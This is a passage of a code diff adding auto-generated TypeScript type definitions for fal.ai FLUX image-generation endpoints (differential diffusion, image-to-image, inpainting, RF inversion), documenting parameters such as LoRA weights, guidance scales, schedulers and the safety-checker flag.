bestarted. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + reference_start?: number + /** + * @description URL of Image for Reference-Only + * @type string | undefined + */ + reference_image_url?: string +} + +export type ImageAe6547E2 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxGeneral = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageAe6547E2[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize1B70Af4A = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeightF21D3Aac = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxGeneralDifferentialDiffusionImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxGeneralDifferentialDiffusionImageSizeKey = + (typeof inputFalAiFluxGeneralDifferentialDiffusionImageSize)[keyof typeof inputFalAiFluxGeneralDifferentialDiffusionImageSize] + +export const inputFalAiFluxGeneralDifferentialDiffusionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxGeneralDifferentialDiffusionOutputFormatEnumKey = + (typeof inputFalAiFluxGeneralDifferentialDiffusionOutputFormatEnum)[keyof typeof inputFalAiFluxGeneralDifferentialDiffusionOutputFormatEnum] + +export const inputFalAiFluxGeneralDifferentialDiffusionSchedulerEnum = { + euler: 'euler', + dpmpp_2m: 'dpmpp_2m', +} as const + +export type InputFalAiFluxGeneralDifferentialDiffusionSchedulerEnumKey = + (typeof inputFalAiFluxGeneralDifferentialDiffusionSchedulerEnum)[keyof typeof inputFalAiFluxGeneralDifferentialDiffusionSchedulerEnum] + +export type InputFalAiFluxGeneralDifferentialDiffusion = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of Image for Reference-Only + * @type string | undefined + */ + reference_image_url?: string + /** + * @description + * The tau for NAG. Controls the normalization of the hidden state. + * Higher values will result in a less aggressive normalization, + * but may also lead to unexpected changes with respect to the original image. + * Not recommended to change this value. + * + * @default 2.5 + * @type number | undefined + */ + nag_tau?: number + /** + * @description + * The percentage of the total timesteps when the reference guidance is to be ended. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + reference_end?: number + /** + * @description Max shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 1.15 + * @type number | undefined + */ + max_shift?: number + /** + * @description + * The proportion of steps to apply NAG. After the specified proportion + * of steps has been iterated, the remaining steps will use original + * attention processors in FLUX. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_end?: number + /** + * @description + * The controlnet unions to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnet_unions?: ControlNetUnion[] + /** + * @description + * Uses classical CFG as in SD1.5, SDXL, etc. Increases generation times and price when set to be true. + * If using XLabs IP-Adapter v1, this will be turned on!. + * + * @default false + * @type boolean | undefined + */ + use_real_cfg?: boolean + /** + * @description URL of image to use as initial image. + * @example https://fal.media/files/koala/h6a7KK2Ie_inuGbdartoX.jpeg + * @type string + */ + image_url: string + /** + * @description + * The alpha value for NAG. This value is used as a final weighting + * factor for steering the normalized guidance (positive and negative prompts) + * in the direction of the positive prompt. Higher values will result in less + * steering on the normalized guidance where lower values will result in + * considering the positive prompt guidance more. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_alpha?: number + /** + * @description + * IP-Adapter to use for image generation. + * + * @default [] + * @type array | undefined + */ + ip_adapters?: IPAdapter[] + /** + * @description The size of the generated image. + */ + image_size?: + | ImageSize1B70Af4A + | InputFalAiFluxGeneralDifferentialDiffusionImageSizeKey + /** + * @description + * Negative prompt to steer the image generation away from unwanted features. + * By default, we will be using NAG for processing the negative prompt. + * + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description URL of change map. + * @example https://fal.media/files/zebra/Wh4IYAiAAcVbuZ8M9ZMSn.jpeg + * @type string + */ + change_map_image_url: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The LoRAs to use for the image generation which use a control image. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + control_loras?: ControlLoraWeight[] + /** + * @description Specifies whether beta sigmas ought to be used. + * @default false + * @type boolean | undefined + */ + use_beta_schedule?: boolean + /** + * @description Sigmas schedule for the denoising process. + */ + sigma_schedule?: 'sgm_uniform' | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxGeneralDifferentialDiffusionOutputFormatEnumKey + /** + * @description + * Uses CFG-zero init sampling as in https://arxiv.org/abs/2503.18886. + * + * @default false + * @type boolean | undefined + */ + use_cfg_zero?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 5 + * @default 3.5 + * @type number | undefined + */ + real_cfg_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Use an image input to influence the generation. Can be used to fill images in masked areas. + */ + fill_image?: ImageFillInput | null + /** + * @description + * The controlnets to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example Tree of life under the sea, ethereal, glittering, lens flares, cinematic lighting, artwork by Anna Dittmann & Carne Griffiths, 8k, unreal engine 5, hightly detailed, intricate detailed. + * @type string + */ + prompt: string + /** + * @description Strength of reference_only generation. Only used if a reference image is provided. + * @minimum -3 + * @maximum 3 + * @default 0.65 + * @type number | undefined + */ + reference_strength?: number + /** + * @description Base shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 0.5 + * @type number | undefined + */ + base_shift?: number + /** + * @description + * The scale for NAG. Higher values will result in a image that is more distant + * to the negative prompt. + * + * @maximum 10 + * @default 3 + * @type number | undefined + */ + nag_scale?: number + /** + * @description The strength to use for differential diffusion. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler for the denoising process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiFluxGeneralDifferentialDiffusionSchedulerEnumKey + /** + * @description + * EasyControl Inputs to use for image generation. + * + * @default [] + * @type array | undefined + */ + easycontrols?: EasyControlWeight[] + /** + * @description + * The percentage of the total timesteps when the reference guidance is to bestarted. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + reference_start?: number + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeightF21D3Aac[] +} + +export type ImageAa29Dec6 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxGeneralDifferentialDiffusion = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: ImageAa29Dec6[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize3A3E7A04 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeight2F78B736 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxGeneralImageToImageImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxGeneralImageToImageImageSizeKey = + (typeof inputFalAiFluxGeneralImageToImageImageSize)[keyof typeof inputFalAiFluxGeneralImageToImageImageSize] + +export const inputFalAiFluxGeneralImageToImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxGeneralImageToImageOutputFormatEnumKey = + (typeof inputFalAiFluxGeneralImageToImageOutputFormatEnum)[keyof typeof inputFalAiFluxGeneralImageToImageOutputFormatEnum] + +export const inputFalAiFluxGeneralImageToImageSchedulerEnum = { + euler: 'euler', + dpmpp_2m: 'dpmpp_2m', +} as const + +export type InputFalAiFluxGeneralImageToImageSchedulerEnumKey = + (typeof inputFalAiFluxGeneralImageToImageSchedulerEnum)[keyof typeof inputFalAiFluxGeneralImageToImageSchedulerEnum] + +export type InputFalAiFluxGeneralImageToImage = { + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description URL of Image for Reference-Only + * @type string | undefined + */ + reference_image_url?: string + /** + * @description + * The tau for NAG. Controls the normalization of the hidden state. + * Higher values will result in a less aggressive normalization, + * but may also lead to unexpected changes with respect to the original image. + * Not recommended to change this value. + * + * @default 2.5 + * @type number | undefined + */ + nag_tau?: number + /** + * @description + * The percentage of the total timesteps when the reference guidance is to be ended. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + reference_end?: number + /** + * @description Max shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 1.15 + * @type number | undefined + */ + max_shift?: number + /** + * @description + * The proportion of steps to apply NAG. After the specified proportion + * of steps has been iterated, the remaining steps will use original + * attention processors in FLUX. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_end?: number + /** + * @description + * The controlnet unions to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnet_unions?: ControlNetUnion[] + /** + * @description + * Uses classical CFG as in SD1.5, SDXL, etc. Increases generation times and price when set to be true. + * If using XLabs IP-Adapter v1, this will be turned on!. + * + * @default false + * @type boolean | undefined + */ + use_real_cfg?: boolean + /** + * @description URL of image to use for inpainting. or img2img + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description + * The alpha value for NAG. This value is used as a final weighting + * factor for steering the normalized guidance (positive and negative prompts) + * in the direction of the positive prompt. Higher values will result in less + * steering on the normalized guidance where lower values will result in + * considering the positive prompt guidance more. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_alpha?: number + /** + * @description + * IP-Adapter to use for image generation. + * + * @default [] + * @type array | undefined + */ + ip_adapters?: IPAdapter[] + /** + * @description The size of the generated image. + */ + image_size?: ImageSize3A3E7A04 | InputFalAiFluxGeneralImageToImageImageSizeKey + /** + * @description + * Negative prompt to steer the image generation away from unwanted features. + * By default, we will be using NAG for processing the negative prompt. + * + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The LoRAs to use for the image generation which use a control image. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + control_loras?: ControlLoraWeight[] + /** + * @description Specifies whether beta sigmas ought to be used. + * @default false + * @type boolean | undefined + */ + use_beta_schedule?: boolean + /** + * @description Sigmas schedule for the denoising process. + */ + sigma_schedule?: 'sgm_uniform' | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxGeneralImageToImageOutputFormatEnumKey + /** + * @description + * Uses CFG-zero init sampling as in https://arxiv.org/abs/2503.18886. + * + * @default false + * @type boolean | undefined + */ + use_cfg_zero?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 5 + * @default 3.5 + * @type number | undefined + */ + real_cfg_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Use an image input to influence the generation. Can be used to fill images in masked areas. + */ + fill_image?: ImageFillInput | null + /** + * @description + * The controlnets to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description Strength of reference_only generation. Only used if a reference image is provided. + * @minimum -3 + * @maximum 3 + * @default 0.65 + * @type number | undefined + */ + reference_strength?: number + /** + * @description Base shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 0.5 + * @type number | undefined + */ + base_shift?: number + /** + * @description + * The scale for NAG. Higher values will result in a image that is more distant + * to the negative prompt. + * + * @maximum 10 + * @default 3 + * @type number | undefined + */ + nag_scale?: number + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler for the denoising process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiFluxGeneralImageToImageSchedulerEnumKey + /** + * @description + * EasyControl Inputs to use for image generation. + * + * @default [] + * @type array | undefined + */ + easycontrols?: EasyControlWeight[] + /** + * @description + * The percentage of the total timesteps when the reference guidance is to bestarted. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + reference_start?: number + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight2F78B736[] +} + +export type Image050239B8 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxGeneralImageToImage = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image050239B8[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type LoraWeight74D7Afb8 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export type ImageSizeAe766Aaa = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export const inputFalAiFluxGeneralInpaintingImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxGeneralInpaintingImageSizeKey = + (typeof inputFalAiFluxGeneralInpaintingImageSize)[keyof typeof inputFalAiFluxGeneralInpaintingImageSize] + +export const inputFalAiFluxGeneralInpaintingOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxGeneralInpaintingOutputFormatEnumKey = + (typeof inputFalAiFluxGeneralInpaintingOutputFormatEnum)[keyof typeof inputFalAiFluxGeneralInpaintingOutputFormatEnum] + +export const inputFalAiFluxGeneralInpaintingSchedulerEnum = { + euler: 'euler', + dpmpp_2m: 'dpmpp_2m', +} as const + +export type InputFalAiFluxGeneralInpaintingSchedulerEnumKey = + (typeof inputFalAiFluxGeneralInpaintingSchedulerEnum)[keyof typeof inputFalAiFluxGeneralInpaintingSchedulerEnum] + +export type InputFalAiFluxGeneralInpainting = { + /** + * @description + * The LoRAs to use for the image generation. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + loras?: LoraWeight74D7Afb8[] + /** + * @description URL of Image for Reference-Only + * @type string | undefined + */ + reference_image_url?: string + /** + * @description + * The tau for NAG. Controls the normalization of the hidden state. + * Higher values will result in a less aggressive normalization, + * but may also lead to unexpected changes with respect to the original image. + * Not recommended to change this value. + * + * @default 2.5 + * @type number | undefined + */ + nag_tau?: number + /** + * @description + * The percentage of the total timesteps when the reference guidance is to be ended. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + reference_end?: number + /** + * @description Max shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 1.15 + * @type number | undefined + */ + max_shift?: number + /** + * @description + * The proportion of steps to apply NAG. After the specified proportion + * of steps has been iterated, the remaining steps will use original + * attention processors in FLUX. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_end?: number + /** + * @description + * The controlnet unions to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnet_unions?: ControlNetUnion[] + /** + * @description + * Uses classical CFG as in SD1.5, SDXL, etc. Increases generation times and price when set to be true. + * If using XLabs IP-Adapter v1, this will be turned on!. + * + * @default false + * @type boolean | undefined + */ + use_real_cfg?: boolean + /** + * @description URL of image to use for inpainting. or img2img + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo.png + * @type string + */ + image_url: string + /** + * @description + * The alpha value for NAG. This value is used as a final weighting + * factor for steering the normalized guidance (positive and negative prompts) + * in the direction of the positive prompt. Higher values will result in less + * steering on the normalized guidance where lower values will result in + * considering the positive prompt guidance more. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_alpha?: number + /** + * @description + * IP-Adapter to use for image generation. + * + * @default [] + * @type array | undefined + */ + ip_adapters?: IPAdapter[] + /** + * @description The size of the generated image. + */ + image_size?: ImageSizeAe766Aaa | InputFalAiFluxGeneralInpaintingImageSizeKey + /** + * @description + * Negative prompt to steer the image generation away from unwanted features. + * By default, we will be using NAG for processing the negative prompt. + * + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The LoRAs to use for the image generation which use a control image. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + control_loras?: ControlLoraWeight[] + /** + * @description Specifies whether beta sigmas ought to be used. + * @default false + * @type boolean | undefined + */ + use_beta_schedule?: boolean + /** + * @description Sigmas schedule for the denoising process. + */ + sigma_schedule?: 'sgm_uniform' | null + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiFluxGeneralInpaintingOutputFormatEnumKey + /** + * @description + * Uses CFG-zero init sampling as in https://arxiv.org/abs/2503.18886. + * + * @default false + * @type boolean | undefined + */ + use_cfg_zero?: boolean + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 5 + * @default 3.5 + * @type number | undefined + */ + real_cfg_scale?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Use an image input to influence the generation. Can be used to fill images in masked areas. + */ + fill_image?: ImageFillInput | null + /** + * @description + * The controlnets to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnets?: ControlNet[] + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 28 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description The prompt to generate an image from. + * @example A photo of a lion sitting on a stone bench + * @type string + */ + prompt: string + /** + * @description Strength of reference_only generation. Only used if a reference image is provided. + * @minimum -3 + * @maximum 3 + * @default 0.65 + * @type number | undefined + */ + reference_strength?: number + /** + * @description Base shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 0.5 + * @type number | undefined + */ + base_shift?: number + /** + * @description + * The scale for NAG. Higher values will result in a image that is more distant + * to the negative prompt. + * + * @maximum 10 + * @default 3 + * @type number | undefined + */ + nag_scale?: number + /** + * @description The strength to use for inpainting/image-to-image. Only used if the image_url is provided. 1.0 is completely remakes the image while 0.0 preserves the original. + * @minimum 0.01 + * @maximum 1 + * @default 0.85 + * @type number | undefined + */ + strength?: number + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 3.5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description Scheduler for the denoising process. + * @default 'euler' + * @type string | undefined + */ + scheduler?: InputFalAiFluxGeneralInpaintingSchedulerEnumKey + /** + * @description + * The mask to area to Inpaint in. + * + * @example https://raw.githubusercontent.com/CompVis/latent-diffusion/main/data/inpainting_examples/overture-creations-5sI6fQgYIuo_mask.png + * @type string + */ + mask_url: string + /** + * @description + * EasyControl Inputs to use for image generation. + * + * @default [] + * @type array | undefined + */ + easycontrols?: EasyControlWeight[] + /** + * @description + * The percentage of the total timesteps when the reference guidance is to bestarted. + * + * @minimum 0 + * @maximum 1 + * @default 0 + * @type number | undefined + */ + reference_start?: number + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean +} + +export type Image9E9F2116 = { + height: number + width: number + url: string + /** + * @default image/jpeg + */ + content_type?: string | null +} + +export type OutputFalAiFluxGeneralInpainting = { + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string + timings: { + [key: string]: number + } + /** + * @description The generated image files info. + * @type array + */ + images: Image9E9F2116[] + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number +} + +export type ImageSize769D7D22 = { + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number +} + +export type LoraWeightF90251D8 = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. Providing a dictionary as {"layer_name":layer_scale} allows per-layer lora scale settings. Layers with no scale provided will have scale 1.0. + * + * @default 1 + */ + scale?: + | { + [key: string]: number + } + | number + /** + * @description URL or the path to the LoRA weights. + * @type string + */ + path: string +} + +export const inputFalAiFluxGeneralRfInversionImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiFluxGeneralRfInversionImageSizeKey = + (typeof inputFalAiFluxGeneralRfInversionImageSize)[keyof typeof inputFalAiFluxGeneralRfInversionImageSize] + +export const inputFalAiFluxGeneralRfInversionReverseGuidanceScheduleEnum = { + constant: 'constant', + linear_increase: 'linear_increase', + linear_decrease: 'linear_decrease', +} as const + +export type InputFalAiFluxGeneralRfInversionReverseGuidanceScheduleEnumKey = + (typeof inputFalAiFluxGeneralRfInversionReverseGuidanceScheduleEnum)[keyof typeof inputFalAiFluxGeneralRfInversionReverseGuidanceScheduleEnum] + +export const inputFalAiFluxGeneralRfInversionOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiFluxGeneralRfInversionOutputFormatEnumKey = + (typeof inputFalAiFluxGeneralRfInversionOutputFormatEnum)[keyof typeof inputFalAiFluxGeneralRfInversionOutputFormatEnum] + +export const inputFalAiFluxGeneralRfInversionSchedulerEnum = { + euler: 'euler', + dpmpp_2m: 'dpmpp_2m', +} as const + +export type InputFalAiFluxGeneralRfInversionSchedulerEnumKey = + (typeof inputFalAiFluxGeneralRfInversionSchedulerEnum)[keyof typeof inputFalAiFluxGeneralRfInversionSchedulerEnum] + +export type InputFalAiFluxGeneralRfInversion = { + /** + * @description URL of Image for Reference-Only + * @type string | undefined + */ + reference_image_url?: string + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description + * The tau for NAG. Controls the normalization of the hidden state. + * Higher values will result in a less aggressive normalization, + * but may also lead to unexpected changes with respect to the original image. + * Not recommended to change this value. + * + * @default 2.5 + * @type number | undefined + */ + nag_tau?: number + /** + * @description + * The percentage of the total timesteps when the reference guidance is to be ended. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + reference_end?: number + /** + * @description The controller guidance (eta) used in the denoising process.Using values closer to 1 will result in an image closer to input. + * @minimum 0.01 + * @maximum 3 + * @default 0.75 + * @type number | undefined + */ + controller_guidance_reverse?: number + /** + * @description Max shift for the scheduled timesteps + * @minimum 0.01 + * @maximum 5 + * @default 1.15 + * @type number | undefined + */ + max_shift?: number + /** + * @description + * The proportion of steps to apply NAG. After the specified proportion + * of steps has been iterated, the remaining steps will use original + * attention processors in FLUX. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_end?: number + /** + * @description + * The controlnet unions to use for the image generation. Only one controlnet is supported at the moment. + * + * @default [] + * @type array | undefined + */ + controlnet_unions?: ControlNetUnion[] + /** + * @description + * The alpha value for NAG. This value is used as a final weighting + * factor for steering the normalized guidance (positive and negative prompts) + * in the direction of the positive prompt. Higher values will result in less + * steering on the normalized guidance where lower values will result in + * considering the positive prompt guidance more. + * + * @maximum 1 + * @default 0.25 + * @type number | undefined + */ + nag_alpha?: number + /** + * @description The controller guidance (gamma) used in the creation of structured noise. + * @minimum 0.01 + * @maximum 3 + * @default 0.6 + * @type number | undefined + */ + controller_guidance_forward?: number + /** + * @description URL of image to be edited + * @example https://storage.googleapis.com/falserverless/flux-general-tests/anime_style.png + * @type string + */ + image_url: string + /** + * @description The size of the generated image. + */ + image_size?: ImageSize769D7D22 | InputFalAiFluxGeneralRfInversionImageSizeKey + /** + * @description + * Negative prompt to steer the image generation away from unwanted features. + * By default, we will be using NAG for processing the negative prompt. + * + * @default '' + * @type string | undefined + */ + negative_prompt?: string + /** + * @description The number of images to generate. This is always set to 1 for streaming output. + * @minimum 1 + * @maximum 10 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description + * The LoRAs to use for the image generation which use a control image. You can use any number of LoRAs + * and they will be merged together to generate the final image. + * + * @default [] + * @type array | undefined + */ + control_loras?: ControlLoraWeight[] + /** + * @description Specifies whether beta sigmas ought to be used. + * @default false + * @type boolean | undefined + */ + use_beta_schedule?: boolean + /** + * @description Scheduler for applying reverse guidance. + * @default 'constant' + * @type string | undefined + */ + reverse_guidance_schedule?: InputFalAiFluxGeneralRfInversionReverseGuidanceScheduleEnumKey + 